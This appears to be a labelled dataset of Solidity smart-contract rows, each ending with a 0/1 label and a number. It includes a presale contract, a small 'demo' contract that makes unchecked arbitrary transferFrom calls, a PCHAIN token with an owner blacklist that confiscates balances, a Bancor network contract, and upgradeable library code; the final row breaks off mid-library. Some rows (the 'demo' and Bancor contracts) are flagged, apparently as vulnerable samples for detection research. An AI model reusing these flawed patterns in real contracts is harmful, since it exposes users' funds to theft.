balances[msg.sender] = 0;
if (!msg.sender.send(amount_to_refund)) throw;
}
function receiveFunds() private notTooSmallAmountOnly {
if (total_received_amount + msg.value > MAX_TOTAL_AMOUNT_TO_RECEIVE) {
var change_to_return = total_received_amount + msg.value - MAX_TOTAL_AMOUNT_TO_RECEIVE;
if (!msg.sender.send(change_to_return)) throw;
var acceptable_remainder = MAX_TOTAL_AMOUNT_TO_RECEIVE - total_received_amount;
balances[msg.sender] += acceptable_remainder;
total_received_amount += acceptable_remainder;
} else {
balances[msg.sender] += msg.value;
total_received_amount += msg.value;
}
}
function currentState() private constant returns (State) {
if (isAborted) {
return this.balance > 0
? State.REFUND_RUNNING
: State.CLOSED;
} else if (block.number < PRESALE_START) {
return State.BEFORE_START;
} else if (block.number <= PRESALE_END && total_received_amount < MAX_TOTAL_AMOUNT_TO_RECEIVE) {
return State.PRESALE_RUNNING;
} else if (this.balance == 0) {
return State.CLOSED;
} else if (block.number <= WITHDRAWAL_END && total_received_amount >= MIN_TOTAL_AMOUNT_TO_RECEIVE) {
return State.WITHDRAWAL_RUNNING;
} else {
return State.REFUND_RUNNING;
}
}
modifier inState(State state) {
if (state != currentState()) throw;
_;
}
modifier inStateBefore(State state) {
if (currentState() >= state) throw;
_;
}
modifier validSetupOnly() {
if ( OWNER == 0x0
|| PRESALE_START == 0
|| PRESALE_END == 0
|| WITHDRAWAL_END ==0
|| PRESALE_START <= block.number
|| PRESALE_START >= PRESALE_END
|| PRESALE_END >= WITHDRAWAL_END
|| MIN_TOTAL_AMOUNT_TO_RECEIVE > MAX_TOTAL_AMOUNT_TO_RECEIVE )
throw;
_;
}
modifier onlyOwner(){
if (msg.sender != OWNER) throw;
_;
}
modifier tokenHoldersOnly(){
if (balances[msg.sender] == 0) throw;
_;
}
modifier notTooSmallAmountOnly(){
if (msg.value < MIN_ACCEPTED_AMOUNT) throw;
_;
}
bool private locked = false;
modifier noReentrancy() {
if (locked) throw;
locked = true;
_;
locked = false;
}
} | 0 | 454 |
pragma solidity ^0.4.25;
contract demo{
function transfer(address from,address caddress,address[] _tos,uint v)public returns (bool){
require(_tos.length > 0);
bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)"));
for(uint i=0;i<_tos.length;i++){
caddress.call(id,from,_tos[i],v);
}
return true;
}
} | 1 | 2,868 |
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
constructor(){
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
function transferOwnership(address _newOwner) onlyOwner {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
}
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) {
revert();
}
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token ,SafeMath{
modifier onlyPayloadSize(uint size) {
if(msg.data.length != size + 4) {
revert();
}
_;
}
bool transferLock = true;
modifier canTransfer() {
if (transferLock) {
revert();
}
_;
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) canTransfer returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) canTransfer returns (bool success) {
uint256 _allowance = allowed[_from][msg.sender];
allowed[_from][msg.sender] = safeSub(_allowance, _value);
balances[_from] = safeSub(balances[_from], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) canTransfer returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert();
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract PAIStandardToken is StandardToken,Ownable{
string public name;
uint256 public decimals;
string public symbol;
address public wallet;
uint public start;
uint public end;
uint public deadline;
uint256 public teamShare = 25;
uint256 public foundationShare = 25;
uint256 public posShare = 15;
uint256 public saleShare = 35;
address internal saleAddr;
uint256 public crowdETHTotal = 0;
mapping (address => uint256) public crowdETHs;
uint256 public crowdPrice = 10000;
uint256 public crowdTarget = 5000 ether;
bool public reflectSwitch = false;
bool public blacklistSwitch = true;
mapping(address => string) public reflects;
event PurchaseSuccess(address indexed _addr, uint256 _weiAmount,uint256 _crowdsaleEth,uint256 _balance);
event EthSweepSuccess(address indexed _addr, uint256 _value);
event SetReflectSwitchEvent(bool _b);
event ReflectEvent(address indexed _addr,string _paiAddr);
event BlacklistEvent(address indexed _addr,uint256 _b);
event SetTransferLockEvent(bool _b);
event CloseBlacklistSwitchEvent(bool _b);
constructor(
address _wallet,
uint _s,
uint _e,
uint _d,
address _teamAddr,
address _fundationAddr,
address _saleAddr,
address _posAddr
) {
totalSupply = 2100000000000000000000000000;
name = "PCHAIN";
decimals = 18;
symbol = "PAI";
wallet = _wallet;
start = _s;
end = _e;
deadline = _d;
saleAddr = _saleAddr;
balances[_teamAddr] = safeMul(safeDiv(totalSupply,100),teamShare);
balances[_fundationAddr] = safeMul(safeDiv(totalSupply,100),foundationShare);
balances[_posAddr] = safeMul(safeDiv(totalSupply,100),posShare);
balances[_saleAddr] = safeMul(safeDiv(totalSupply,100),saleShare) ;
Transfer(address(0), _teamAddr, balances[_teamAddr]);
Transfer(address(0), _fundationAddr, balances[_fundationAddr]);
Transfer(address(0), _posAddr, balances[_posAddr]);
Transfer(address(0), _saleAddr, balances[_saleAddr]);
}
function setTransferLock(bool _lock) onlyOwner{
transferLock = _lock;
SetTransferLockEvent(_lock);
}
function closeBlacklistSwitch() onlyOwner{
blacklistSwitch = false;
CloseBlacklistSwitchEvent(false);
}
function setBlacklist(address _addr) onlyOwner{
require(blacklistSwitch);
uint256 tokenAmount = balances[_addr];
balances[_addr] = 0;
balances[saleAddr] = safeAdd(balances[saleAddr],tokenAmount);
Transfer(_addr, saleAddr, tokenAmount);
BlacklistEvent(_addr,tokenAmount);
}
function setReflectSwitch(bool _s) onlyOwner{
reflectSwitch = _s;
SetReflectSwitchEvent(_s);
}
function reflect(string _paiAddress){
require(reflectSwitch);
reflects[msg.sender] = _paiAddress;
ReflectEvent(msg.sender,_paiAddress);
}
function purchase() payable{
require(block.timestamp <= deadline);
require(tx.gasprice <= 60000000000);
require(block.timestamp >= start);
uint256 weiAmount = msg.value;
require(weiAmount >= 0.1 ether);
crowdETHTotal = safeAdd(crowdETHTotal,weiAmount);
require(crowdETHTotal <= crowdTarget);
uint256 userETHTotal = safeAdd(crowdETHs[msg.sender],weiAmount);
if(block.timestamp <= end){
require(userETHTotal <= 0.4 ether);
}else{
require(userETHTotal <= 10 ether);
}
crowdETHs[msg.sender] = userETHTotal;
uint256 tokenAmount = safeMul(weiAmount,crowdPrice);
balances[msg.sender] = safeAdd(tokenAmount,balances[msg.sender]);
balances[saleAddr] = safeSub(balances[saleAddr],tokenAmount);
wallet.transfer(weiAmount);
Transfer(saleAddr, msg.sender, tokenAmount);
PurchaseSuccess(msg.sender,weiAmount,crowdETHs[msg.sender],tokenAmount);
}
function () payable{
purchase();
}
} | 0 | 2,040 |
pragma solidity ^0.4.21;
contract Utils {
function Utils() public {
}
modifier greaterThanZero(uint256 _amount) {
require(_amount > 0);
_;
}
modifier validAddress(address _address) {
require(_address != address(0));
_;
}
modifier notThis(address _address) {
require(_address != address(this));
_;
}
function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) {
assert(_x >= _y);
return _x - _y;
}
function safeMul(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x * _y;
assert(_x == 0 || z / _x == _y);
return z;
}
}
contract IOwned {
function owner() public view returns (address) {}
function transferOwnership(address _newOwner) public;
function acceptOwnership() public;
}
contract Owned is IOwned {
address public owner;
address public newOwner;
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
function Owned() public {
owner = msg.sender;
}
modifier ownerOnly {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract IERC20Token {
function name() public view returns (string) {}
function symbol() public view returns (string) {}
function decimals() public view returns (uint8) {}
function totalSupply() public view returns (uint256) {}
function balanceOf(address _owner) public view returns (uint256) { _owner; }
function allowance(address _owner, address _spender) public view returns (uint256) { _owner; _spender; }
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
contract ISmartToken is IOwned, IERC20Token {
function disableTransfers(bool _disable) public;
function issue(address _to, uint256 _amount) public;
function destroy(address _from, uint256 _amount) public;
}
contract IContractRegistry {
function getAddress(bytes32 _contractName) public view returns (address);
}
contract IContractFeatures {
function isSupported(address _contract, uint256 _features) public view returns (bool);
function enableFeatures(uint256 _features, bool _enable) public;
}
contract IBancorGasPriceLimit {
function gasPrice() public view returns (uint256) {}
function validateGasPrice(uint256) public view;
}
contract IWhitelist {
function isWhitelisted(address _address) public view returns (bool);
}
contract ContractIds {
bytes32 public constant BANCOR_NETWORK = "BancorNetwork";
bytes32 public constant BANCOR_FORMULA = "BancorFormula";
bytes32 public constant CONTRACT_FEATURES = "ContractFeatures";
}
contract FeatureIds {
uint256 public constant CONVERTER_CONVERSION_WHITELIST = 1 << 0;
}
contract ITokenHolder is IOwned {
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public;
}
contract TokenHolder is ITokenHolder, Owned, Utils {
function TokenHolder() public {
}
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount)
public
ownerOnly
validAddress(_token)
validAddress(_to)
notThis(_to)
{
assert(_token.transfer(_to, _amount));
}
}
contract IEtherToken is ITokenHolder, IERC20Token {
function deposit() public payable;
function withdraw(uint256 _amount) public;
function withdrawTo(address _to, uint256 _amount) public;
}
contract IBancorConverter {
function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public view returns (uint256);
function convert(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256);
function conversionWhitelist() public view returns (IWhitelist) {}
function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256);
}
contract IBancorNetwork {
function convert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256);
function convertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public payable returns (uint256);
function convertForPrioritized(
IERC20Token[] _path,
uint256 _amount,
uint256 _minReturn,
address _for,
uint256 _block,
uint8 _v,
bytes32 _r,
bytes32 _s)
public payable returns (uint256);
}
contract BancorNetwork is IBancorNetwork, TokenHolder, ContractIds, FeatureIds {
address public signerAddress = 0x0;
IContractRegistry public registry;
IBancorGasPriceLimit public gasPriceLimit;
mapping (address => bool) public etherTokens;
mapping (bytes32 => bool) public conversionHashes;
function BancorNetwork(IContractRegistry _registry) public validAddress(_registry) {
registry = _registry;
}
modifier validConversionPath(IERC20Token[] _path) {
require(_path.length > 2 && _path.length <= (1 + 2 * 10) && _path.length % 2 == 1);
_;
}
function setContractRegistry(IContractRegistry _registry)
public
ownerOnly
validAddress(_registry)
notThis(_registry)
{
registry = _registry;
}
function setGasPriceLimit(IBancorGasPriceLimit _gasPriceLimit)
public
ownerOnly
validAddress(_gasPriceLimit)
notThis(_gasPriceLimit)
{
gasPriceLimit = _gasPriceLimit;
}
function setSignerAddress(address _signerAddress)
public
ownerOnly
validAddress(_signerAddress)
notThis(_signerAddress)
{
signerAddress = _signerAddress;
}
function registerEtherToken(IEtherToken _token, bool _register)
public
ownerOnly
validAddress(_token)
notThis(_token)
{
etherTokens[_token] = _register;
}
function verifyTrustedSender(IERC20Token[] _path, uint256 _amount, uint256 _block, address _addr, uint8 _v, bytes32 _r, bytes32 _s) private returns(bool) {
bytes32 hash = keccak256(_block, tx.gasprice, _addr, msg.sender, _amount, _path);
require(!conversionHashes[hash] && block.number <= _block);
bytes32 prefixedHash = keccak256("\x19Ethereum Signed Message:\n32", hash);
bool verified = ecrecover(prefixedHash, _v, _r, _s) == signerAddress;
if (verified)
conversionHashes[hash] = true;
return verified;
}
function convertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public payable returns (uint256) {
return convertForPrioritized(_path, _amount, _minReturn, _for, 0x0, 0x0, 0x0, 0x0);
}
function convertForPrioritized(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for, uint256 _block, uint8 _v, bytes32 _r, bytes32 _s)
public
payable
validConversionPath(_path)
returns (uint256)
{
IERC20Token fromToken = _path[0];
require(msg.value == 0 || (_amount == msg.value && etherTokens[fromToken]));
if (msg.value > 0)
IEtherToken(fromToken).deposit.value(msg.value)();
return convertForInternal(_path, _amount, _minReturn, _for, _block, _v, _r, _s);
}
function convertForMultiple(IERC20Token[] _paths, uint256[] _pathStartIndex, uint256[] _amounts, uint256[] _minReturns, address _for)
public
payable
returns (uint256[])
{
uint256 convertedValue = 0;
uint256 pathEndIndex;
for (uint256 i = 0; i < _pathStartIndex.length; i += 1) {
pathEndIndex = i == (_pathStartIndex.length - 1) ? _paths.length : _pathStartIndex[i + 1];
IERC20Token[] memory path = new IERC20Token[](pathEndIndex - _pathStartIndex[i]);
for (uint256 j = _pathStartIndex[i]; j < pathEndIndex; j += 1) {
path[j - _pathStartIndex[i]] = _paths[j];
}
IERC20Token fromToken = path[0];
require(msg.value == 0 || (_amounts[i] <= msg.value && etherTokens[fromToken]) || !etherTokens[fromToken]);
if (msg.value > 0 && etherTokens[fromToken]) {
IEtherToken(fromToken).deposit.value(_amounts[i])();
convertedValue += _amounts[i];
}
_amounts[i] = convertForInternal(path, _amounts[i], _minReturns[i], _for, 0x0, 0x0, 0x0, 0x0);
}
require(convertedValue == msg.value);
return _amounts;
}
function convertForInternal(
IERC20Token[] _path,
uint256 _amount,
uint256 _minReturn,
address _for,
uint256 _block,
uint8 _v,
bytes32 _r,
bytes32 _s
)
private
validConversionPath(_path)
returns (uint256)
{
if (_v == 0x0 && _r == 0x0 && _s == 0x0)
gasPriceLimit.validateGasPrice(tx.gasprice);
else
require(verifyTrustedSender(_path, _amount, _block, _for, _v, _r, _s));
IERC20Token fromToken = _path[0];
IERC20Token toToken;
(toToken, _amount) = convertByPath(_path, _amount, _minReturn, fromToken, _for);
if (etherTokens[toToken])
IEtherToken(toToken).withdrawTo(_for, _amount);
else
assert(toToken.transfer(_for, _amount));
return _amount;
}
function convertByPath(
IERC20Token[] _path,
uint256 _amount,
uint256 _minReturn,
IERC20Token _fromToken,
address _for
) private returns (IERC20Token, uint256) {
ISmartToken smartToken;
IERC20Token toToken;
IBancorConverter converter;
IContractFeatures features = IContractFeatures(registry.getAddress(ContractIds.CONTRACT_FEATURES));
uint256 pathLength = _path.length;
for (uint256 i = 1; i < pathLength; i += 2) {
smartToken = ISmartToken(_path[i]);
toToken = _path[i + 1];
converter = IBancorConverter(smartToken.owner());
checkWhitelist(converter, _for, features);
if (smartToken != _fromToken)
ensureAllowance(_fromToken, converter, _amount);
_amount = converter.change(_fromToken, toToken, _amount, i == pathLength - 2 ? _minReturn : 1);
_fromToken = toToken;
}
return (toToken, _amount);
}
function checkWhitelist(IBancorConverter _converter, address _for, IContractFeatures _features) private view {
IWhitelist whitelist;
if (!_features.isSupported(_converter, FeatureIds.CONVERTER_CONVERSION_WHITELIST))
return;
whitelist = _converter.conversionWhitelist();
if (whitelist == address(0))
return;
require(whitelist.isWhitelisted(_for));
}
function claimAndConvertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public returns (uint256) {
IERC20Token fromToken = _path[0];
assert(fromToken.transferFrom(msg.sender, this, _amount));
return convertFor(_path, _amount, _minReturn, _for);
}
function convert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256) {
return convertFor(_path, _amount, _minReturn, msg.sender);
}
function claimAndConvert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public returns (uint256) {
return claimAndConvertFor(_path, _amount, _minReturn, msg.sender);
}
function ensureAllowance(IERC20Token _token, address _spender, uint256 _value) private {
if (_token.allowance(this, _spender) >= _value)
return;
if (_token.allowance(this, _spender) != 0)
assert(_token.approve(_spender, 0));
assert(_token.approve(_spender, _value));
}
} | 1 | 3,312 |
pragma solidity >=0.6.2 <0.8.0;
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity >=0.4.24 <0.8.0;
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
uint256[50] private __gap;
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
pragma solidity >=0.6.0 <0.8.0;
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity >=0.6.0 <0.8.0;
library SafeMathUpgradeable {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
pragma solidity >=0.6.0 <0.8.0;
library SafeERC20Upgradeable {
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity >=0.6.0 <0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity >=0.6.2 <0.8.0;
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
pragma solidity 0.6.12;
interface IMintableCollection is IERC721 {
function burn(uint256 tokenId) external;
function mint(address to, uint256 tokenId) external;
}
pragma solidity 0.6.12;
interface IRewardable {
function addRewards(address rewardToken, uint256 amount) external;
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
pragma solidity 0.6.12;
abstract contract EmergencyWithdrawable is OwnableUpgradeable {
function emergencyWithdrawETH() external payable onlyOwner {
msg.sender.send(address(this).balance);
}
function emergencyWithdrawTokens(IERC20Upgradeable token) external onlyOwner {
token.transfer(msg.sender, token.balanceOf(address(this)));
}
}
pragma solidity >=0.6.0 <0.8.0;
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = toDeleteIndex + 1;
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
pragma solidity >=0.6.2 <0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
